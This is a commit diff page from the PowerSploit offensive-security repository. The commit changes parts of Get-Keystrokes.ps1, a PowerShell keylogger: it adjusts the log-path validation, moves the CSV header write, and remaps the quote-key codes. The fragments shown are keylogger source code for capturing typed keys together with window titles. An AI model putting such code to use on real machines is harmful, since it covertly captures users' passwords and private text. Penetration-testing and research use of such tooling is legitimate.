aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration
diff options
context:
space:
mode:
authorJesse Davis <jdalton.davis@gmail.com>2016-01-13 22:19:06 -0600
committerJesse Davis <jdalton.davis@gmail.com>2016-01-13 22:19:06 -0600
commit414daa60b825acc7d75fa0f932a0912c84d9267c (patch)
tree33ebb7b04feb66b1e91944d45d8537cb1b3582e8 /Exfiltration
parent759bd481ae57e450fd6fb371690014e67411ac98 (diff)
parentd133db696ad364a8387163569325129b0c0b08a3 (diff)
downloadPowerSploit-414daa60b825acc7d75fa0f932a0912c84d9267c.tar.gz
PowerSploit-414daa60b825acc7d75fa0f932a0912c84d9267c.zip
Fixed Pester/PassThru
Diffstat (limited to 'Exfiltration')
-rw-r--r--Exfiltration/Get-Keystrokes.ps115
1 files changed, 8 insertions, 7 deletions
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1
index 3a7d1dc..9e8698c 100644
--- a/Exfiltration/Get-Keystrokes.ps1
+++ b/Exfiltration/Get-Keystrokes.ps1
@@ -40,8 +40,8 @@ function Get-Keystrokes {
[CmdletBinding()]
Param (
[Parameter(Position = 0)]
- [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
- [String]$LogPath = "$($Env:TEMP)\key.log",
+ [ValidateScript({(Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container)})]
+ [String]$LogPath = "$($env:TEMP)\key.log",
[Parameter(Position = 1)]
[Double]$Timeout,
@@ -52,6 +52,9 @@ function Get-Keystrokes {
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
+ try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
+ catch { throw $_ }
+
$Script = {
Param (
[Parameter(Position = 0)]
@@ -161,8 +164,6 @@ function Get-Keystrokes {
#endregion Imports
- '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode
-
$CallbackScript = {
Param (
[Parameter()]
@@ -218,7 +219,7 @@ function Get-Keystrokes {
111 { $Key = "/" }
}
}
- elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 221)) {
+ elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) {
if ($Shift) {
switch ($vKey.value__) { # Shiftable characters
48 { $Key = ')' }
@@ -241,7 +242,7 @@ function Get-Keystrokes {
219 { $Key = '{' }
220 { $Key = '|' }
221 { $Key = '}' }
- 222 { $Key = '"' }
+ 222 { $Key = '<Double Quotes>' }
}
}
else {
@@ -266,7 +267,7 @@ function Get-Keystrokes {
219 { $Key = '[' }
220 { $Key = '\' }
221 { $Key = ']' }
- 222 { $Key = "`'" }
+ 222 { $Key = '<Single Quote>' }
}
}
}